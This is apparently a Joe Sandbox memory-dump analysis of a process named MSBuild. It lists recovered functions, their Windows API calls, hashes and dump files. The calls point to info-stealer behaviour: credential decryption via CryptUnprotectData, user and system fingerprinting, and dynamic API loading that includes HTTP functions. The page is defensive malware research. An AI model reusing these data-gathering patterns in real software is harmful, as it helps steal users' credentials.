Source File: 00000002.00000002.2757749339.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2757749339.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotectmemcpy
String ID:
API String ID: 3243516280-0
Opcode ID: c2aa43b9e4297819a9d52390c0c53cdff2035cd243deeef131e769104903eb95
Instruction ID: 8471c3d920f6d21a6ca128c50317bdd839bed9d1cf50ed0ddd6ab59e3c77a746
Opcode Fuzzy Hash: c2aa43b9e4297819a9d52390c0c53cdff2035cd243deeef131e769104903eb95
Instruction Fuzzy Hash: 46110CB8A00209EFDB04DF94D985AAE77B6FF89300F104569F915A7390D774AE10CF61

Function 00417A30 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,013960A8,00000000,?,00420E10,00000000,?,00000000,00000000), ref: 00417A63
HeapAlloc.KERNEL32(00000000,?,?,?,00000000,00000000,?,013960A8,00000000,?,00420E10,00000000,?,00000000,00000000,?), ref: 00417A6A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,013960A8,00000000,?,00420E10,00000000,?,00000000,00000000,?), ref: 00417A7D
wsprintfA.USER32 ref: 00417AB7

Memory Dump Source

Source File: 00000002.00000002.2757749339.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2757749339.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$AllocInformationProcessTimeZonewsprintf
String ID:
API String ID: 362916592-0
Opcode ID: b881c6b0ead1d296197200307cca27ecd4ed8ab0e7bcc50e28ea7705d7869b14
Instruction ID: 8af700d3b0e32b47e9d6ddd9198ddf9a5cfc8e3ba9127fd648bfb7377b14e362
Opcode Fuzzy Hash: b881c6b0ead1d296197200307cca27ecd4ed8ab0e7bcc50e28ea7705d7869b14
Instruction Fuzzy Hash: 461152B1A45228EFEB108B54DC45F9AB7B8FB05711F10439AE516932C0D7785A40CF55

Function 00417850 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417880
HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417887
GetUserNameA.ADVAPI32(00000104,00000104), ref: 0041789F

Memory Dump Source

Source File: 00000002.00000002.2757749339.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2757749339.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$AllocNameProcessUser
String ID:
API String ID: 1206570057-0
Opcode ID: 98be1400a0f13b17dcfec3579e84c662f1c1c1bd9e35413721d24a5daf15813c
Instruction ID: ff9f3fb77af2488786a742b30a7a77c7a6675fe12b7944dcc27658a291e6e945
Opcode Fuzzy Hash: 98be1400a0f13b17dcfec3579e84c662f1c1c1bd9e35413721d24a5daf15813c
Instruction Fuzzy Hash: 08F04FB5D44208AFC710DFD8DD49BAEBBB8EB05711F10025AFA05A2680C77815448BA2

Function 00401160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,00416A17,00420AEF), ref: 0040116A
ExitProcess.KERNEL32 ref: 0040117E

Memory Dump Source

Source File: 00000002.00000002.2757749339.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2757749339.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: 5e169adc815d3d5e963ffc5450d2c06f987a57c1971b55ed15331b47ed99491e
Instruction ID: a8b5f4e8781596c88644d8aa2969b9d6e82c50da38cf1cac8898b5ca04c80d98
Opcode Fuzzy Hash: 5e169adc815d3d5e963ffc5450d2c06f987a57c1971b55ed15331b47ed99491e
Instruction Fuzzy Hash: F4D05E7C94030CEBCB14EFE0D9496DDBB79FB0D311F001559ED0572340EA306481CAA6

Function 00419C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(76210000,0138F068), ref: 00419C2D
GetProcAddress.KERNEL32(76210000,0138F288), ref: 00419C45
GetProcAddress.KERNEL32(76210000,0138AFA0), ref: 00419C5E
GetProcAddress.KERNEL32(76210000,0138B150), ref: 00419C76
GetProcAddress.KERNEL32(76210000,0138B228), ref: 00419C8E
GetProcAddress.KERNEL32(76210000,0138B1F8), ref: 00419CA7
GetProcAddress.KERNEL32(76210000,0138D530), ref: 00419CBF
GetProcAddress.KERNEL32(76210000,0138B210), ref: 00419CD7
GetProcAddress.KERNEL32(76210000,0138B0C0), ref: 00419CF0
GetProcAddress.KERNEL32(76210000,0138B168), ref: 00419D08
GetProcAddress.KERNEL32(76210000,0138B078), ref: 00419D20
GetProcAddress.KERNEL32(76210000,0138F2A8), ref: 00419D39
GetProcAddress.KERNEL32(76210000,0138F428), ref: 00419D51
GetProcAddress.KERNEL32(76210000,0138F108), ref: 00419D69
GetProcAddress.KERNEL32(76210000,0138F2E8), ref: 00419D82
GetProcAddress.KERNEL32(76210000,0138B0A8), ref: 00419D9A
GetProcAddress.KERNEL32(76210000,0138B258), ref: 00419DB2
GetProcAddress.KERNEL32(76210000,0138D760), ref: 00419DCB
GetProcAddress.KERNEL32(76210000,0138F3C8), ref: 00419DE3
GetProcAddress.KERNEL32(76210000,0138B240), ref: 00419DFB
GetProcAddress.KERNEL32(76210000,0138B180), ref: 00419E14
GetProcAddress.KERNEL32(76210000,0138AFB8), ref: 00419E2C
GetProcAddress.KERNEL32(76210000,0138B198), ref: 00419E44
GetProcAddress.KERNEL32(76210000,0138F3E8), ref: 00419E5D
GetProcAddress.KERNEL32(76210000,0138AF70), ref: 00419E75
GetProcAddress.KERNEL32(76210000,0138AFD0), ref: 00419E8D
GetProcAddress.KERNEL32(76210000,0138AFE8), ref: 00419EA6
GetProcAddress.KERNEL32(76210000,0138B000), ref: 00419EBE
GetProcAddress.KERNEL32(76210000,0138B018), ref: 00419ED6
GetProcAddress.KERNEL32(76210000,0138B030), ref: 00419EEF
GetProcAddress.KERNEL32(76210000,0138B048), ref: 00419F07
GetProcAddress.KERNEL32(76210000,0138B060), ref: 00419F1F
GetProcAddress.KERNEL32(76210000,01395348), ref: 00419F38
GetProcAddress.KERNEL32(76210000,013899A0), ref: 00419F50
GetProcAddress.KERNEL32(76210000,01395330), ref: 00419F68
GetProcAddress.KERNEL32(76210000,01395270), ref: 00419F81
GetProcAddress.KERNEL32(76210000,0138F0C8), ref: 00419F99
GetProcAddress.KERNEL32(76210000,01395408), ref: 00419FB1
GetProcAddress.KERNEL32(76210000,0138F408), ref: 00419FCA
GetProcAddress.KERNEL32(76210000,013951B0), ref: 00419FE2
GetProcAddress.KERNEL32(76210000,01395318), ref: 00419FFA
GetProcAddress.KERNEL32(76210000,0138F128), ref: 0041A013
GetProcAddress.KERNEL32(76210000,0138F1E8), ref: 0041A02B
LoadLibraryA.KERNEL32(01395288,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A03D
LoadLibraryA.KERNEL32(013952A0,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A04E
LoadLibraryA.KERNEL32(013953D8,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A060
LoadLibraryA.KERNEL32(01395378,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A072
LoadLibraryA.KERNEL32(01395258,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A083
LoadLibraryA.KERNEL32(01395360,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A095
LoadLibraryA.KERNEL32(01395390,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A0A7
LoadLibraryA.KERNEL32(01395240,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A0B8
GetProcAddress.KERNEL32(751E0000,0138F148), ref: 0041A0DA
GetProcAddress.KERNEL32(751E0000,01395180), ref: 0041A0F2
GetProcAddress.KERNEL32(751E0000,01395010), ref: 0041A10A
GetProcAddress.KERNEL32(751E0000,013952D0), ref: 0041A123
GetProcAddress.KERNEL32(751E0000,0138F1C8), ref: 0041A13B
GetProcAddress.KERNEL32(73940000,0138D580), ref: 0041A160
GetProcAddress.KERNEL32(73940000,0138F208), ref: 0041A179
GetProcAddress.KERNEL32(73940000,0138D5A8), ref: 0041A191
GetProcAddress.KERNEL32(73940000,01395198), ref: 0041A1A9
GetProcAddress.KERNEL32(73940000,013951C8), ref: 0041A1C2
GetProcAddress.KERNEL32(73940000,0138F0E8), ref: 0041A1DA
GetProcAddress.KERNEL32(73940000,0138F228), ref: 0041A1F2
GetProcAddress.KERNEL32(73940000,013952E8), ref: 0041A20B
GetProcAddress.KERNEL32(753A0000,0138F308), ref: 0041A22C
GetProcAddress.KERNEL32(753A0000,0138F328), ref: 0041A244
GetProcAddress.KERNEL32(753A0000,013951E0), ref: 0041A25D
GetProcAddress.KERNEL32(753A0000,013953A8), ref: 0041A275
GetProcAddress.KERNEL32(753A0000,0138F368), ref: 0041A28D
GetProcAddress.KERNEL32(76310000,0138D5D0), ref: 0041A2B3
GetProcAddress.KERNEL32(76310000,0138D670), ref: 0041A2CB
GetProcAddress.KERNEL32(76310000,013951F8), ref: 0041A2E3
GetProcAddress.KERNEL32(76310000,0138F388), ref: 0041A2FC
GetProcAddress.KERNEL32(76310000,0138F3A8), ref: 0041A314
GetProcAddress.KERNEL32(76310000,0138D788), ref: 0041A32C
GetProcAddress.KERNEL32(76910000,013953C0), ref: 0041A352
GetProcAddress.KERNEL32(76910000,01395C00), ref: 0041A36A
GetProcAddress.KERNEL32(76910000,01394F40), ref: 0041A382
GetProcAddress.KERNEL32(76910000,013953F0), ref: 0041A39B
GetProcAddress.KERNEL32(76910000,01395228), ref: 0041A3B3
GetProcAddress.KERNEL32(76910000,01395A20), ref: 0041A3CB
GetProcAddress.KERNEL32(76910000,01395B80), ref: 0041A3E4
GetProcAddress.KERNEL32(76910000,013952B8), ref: 0041A3FC
GetProcAddress.KERNEL32(76910000,01395420), ref: 0041A414
GetProcAddress.KERNEL32(75B30000,01395940), ref: 0041A436
GetProcAddress.KERNEL32(75B30000,01395138), ref: 0041A44E
GetProcAddress.KERNEL32(75B30000,01395300), ref: 0041A466
GetProcAddress.KERNEL32(75B30000,01395150), ref: 0041A47F
GetProcAddress.KERNEL32(75B30000,01395168), ref: 0041A497
GetProcAddress.KERNEL32(75670000,01395BC0), ref: 0041A4B8
GetProcAddress.KERNEL32(75670000,01395C80), ref: 0041A4D1
GetProcAddress.KERNEL32(76AC0000,01395960), ref: 0041A4F2
GetProcAddress.KERNEL32(76AC0000,01395210), ref: 0041A50A
GetProcAddress.KERNEL32(6F4E0000,01395B40), ref: 0041A530
GetProcAddress.KERNEL32(6F4E0000,01395B60), ref: 0041A548
GetProcAddress.KERNEL32(6F4E0000,01395BA0), ref: 0041A560
GetProcAddress.KERNEL32(6F4E0000,01395438), ref: 0041A579
GetProcAddress.KERNEL32(6F4E0000,01395980), ref: 0041A591
GetProcAddress.KERNEL32(6F4E0000,01395B00), ref: 0041A5A9
GetProcAddress.KERNEL32(6F4E0000,01395B20), ref: 0041A5C2
GetProcAddress.KERNEL32(6F4E0000,01395A00), ref: 0041A5DA
GetProcAddress.KERNEL32(6F4E0000,InternetSetOptionA), ref: 0041A5F1
GetProcAddress.KERNEL32(6F4E0000,HttpQueryInfoA), ref: 0041A607
GetProcAddress.KERNEL32(75AE0000,013954F8), ref: 0041A629
GetProcAddress.KERNEL32(75AE0000,01394F80), ref: 0041A641
GetProcAddress.KERNEL32(75AE0000,01395498), ref: 0041A659
GetProcAddress.KERNEL32(75AE0000,01395480), ref: 0041A672
GetProcAddress.KERNEL32(76300000,01395BE0), ref: 0041A693
GetProcAddress.KERNEL32(6FF30000,013954B0), ref: 0041A6B4
GetProcAddress.KERNEL32(6FF30000,01395C20), ref: 0041A6CD
GetProcAddress.KERNEL32(6FF30000,013954E0), ref: 0041A6E5
GetProcAddress.KERNEL32(6FF30000,01395450), ref: 0041A6FD

Strings

InternetSetOptionA, xrefs: 0041A5E5
HttpQueryInfoA, xrefs: 0041A5FC

Memory Dump Source

Source File: 00000002.00000002.2757749339.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2757749339.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 2238633743-1775429166
Opcode ID: 62050089a8b8835eafd1d37742ef1b979ae5b20786234f8d6d940be7715c0619
Instruction ID: b148544ec257a615b167952e2e9b89b3667e8f5620887ecf26b211dda149ff7d
Opcode Fuzzy Hash: 62050089a8b8835eafd1d37742ef1b979ae5b20786234f8d6d940be7715c0619
Instruction Fuzzy Hash: 02621DBD5C0200BFD364DFE8EE889A63BFBF74E701714A61AE609C3264D6399441DB52

Function 00407710 Relevance: 81.6, APIs: 54, Instructions: 584
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000000,0098967F,?,004161C4,?), ref: 00407724
RtlAllocateHeap.NTDLL(00000000,?,004161C4,?), ref: 0040772B
lstrcatA.KERNEL32(?,01391ED0,?,000003E8,?,000003E8,?,000003E8,?,000003E8,?,000003E8,?,000003E8,?,000003E8), ref: 004078DB
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 004078EF
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407903
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407917
lstrcatA.KERNEL32(?,013962B8,?,004161C4,?), ref: 0040792B
lstrcatA.KERNEL32(?,013962D0,?,004161C4,?), ref: 0040793F
lstrcatA.KERNEL32(?,01396300,?,004161C4,?), ref: 00407952
lstrcatA.KERNEL32(?,013961C8,?,004161C4,?), ref: 00407966
lstrcatA.KERNEL32(?,01396528,?,004161C4,?), ref: 0040797A
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 0040798E
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 004079A2
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 004079B6
lstrcatA.KERNEL32(?,013962B8,?,004161C4,?), ref: 004079C9
lstrcatA.KERNEL32(?,013962D0,?,004161C4,?), ref: 004079DD
lstrcatA.KERNEL32(?,01396300,?,004161C4,?), ref: 004079F1
lstrcatA.KERNEL32(?,013961C8,?,004161C4,?), ref: 00407A04
lstrcatA.KERNEL32(?,01396590,?,004161C4,?), ref: 00407A18
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407A2C
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407A40
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407A54
lstrcatA.KERNEL32(?,013962B8,?,004161C4,?), ref: 00407A68
lstrcatA.KERNEL32(?,013962D0,?,004161C4,?), ref: 00407A7B
lstrcatA.KERNEL32(?,01396300,?,004161C4,?), ref: 00407A8F
lstrcatA.KERNEL32(?,013961C8,?,004161C4,?), ref: 00407AA3
lstrcatA.KERNEL32(?,013965F8,?,004161C4,?), ref: 00407AB6
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407ACA
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407ADE
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407AF2
lstrcatA.KERNEL32(?,013962B8,?,004161C4,?), ref: 00407B06
lstrcatA.KERNEL32(?,013962D0,?,004161C4,?), ref: 00407B1A
lstrcatA.KERNEL32(?,01396300,?,004161C4,?), ref: 00407B2D
lstrcatA.KERNEL32(?,013961C8,?,004161C4,?), ref: 00407B41
lstrcatA.KERNEL32(?,01396660,?,004161C4,?), ref: 00407B55
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407B69
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407B7D
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407B91
lstrcatA.KERNEL32(?,013962B8,?,004161C4,?), ref: 00407BA4
lstrcatA.KERNEL32(?,013962D0,?,004161C4,?), ref: 00407BB8
lstrcatA.KERNEL32(?,01396300,?,004161C4,?), ref: 00407BCC
lstrcatA.KERNEL32(?,013961C8,?,004161C4,?), ref: 00407BDF
lstrcatA.KERNEL32(?,013966C8,?,004161C4,?), ref: 00407BF3
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407C07
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407C1B
lstrcatA.KERNEL32(?,?,?,004161C4,?), ref: 00407C2F
lstrcatA.KERNEL32(?,013962B8,?,004161C4,?), ref: 00407C43
lstrcatA.KERNEL32(?,013962D0,?,004161C4,?), ref: 00407C56
lstrcatA.KERNEL32(?,01396300,?,004161C4,?), ref: 00407C6A
lstrcatA.KERNEL32(?,013961C8,?,004161C4,?), ref: 00407C7E

Part of subcall function 004075D0: lstrcatA.KERNEL32(33A07020,004217FC,00407C90,80000001,004161C4,?,?,?,?,?,00407C90,?,?,004161C4), ref: 00407606
Part of subcall function 004075D0: lstrcatA.KERNEL32(33A07020,00000000,00000000), ref: 00407648
Part of subcall function 004075D0: lstrcatA.KERNEL32(33A07020, : ), ref: 0040765A
Part of subcall function 004075D0: lstrcatA.KERNEL32(33A07020,00000000,00000000,00000000), ref: 0040768F
Part of subcall function 004075D0: lstrcatA.KERNEL32(33A07020,00421804), ref: 004076A0
Part of subcall function 004075D0: lstrcatA.KERNEL32(33A07020,00000000,00000000,00000000), ref: 004076D3
Part of subcall function 004075D0: lstrcatA.KERNEL32(33A07020,00421808), ref: 004076ED
Part of subcall function 004075D0: task.LIBCPMTD ref: 004076FB

lstrcatA.KERNEL32(?,01394EB0,?,00000104), ref: 00407E0B
lstrcatA.KERNEL32(?,01395760), ref: 00407E1E
lstrlenA.KERNEL32(33A07020), ref: 00407E2B
lstrlenA.KERNEL32(33A07020), ref: 00407E3B

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Memory Dump Source

Source File: 00000002.00000002.2757749339.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2757749339.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$Heaplstrlen$AllocateProcesslstrcpytask
String ID:
API String ID: 928082926-0
Opcode ID: 6fcfd6c6baea700e61f3ac76ac6e2f698724bd4a5264edc9866c41ae3b3538d0
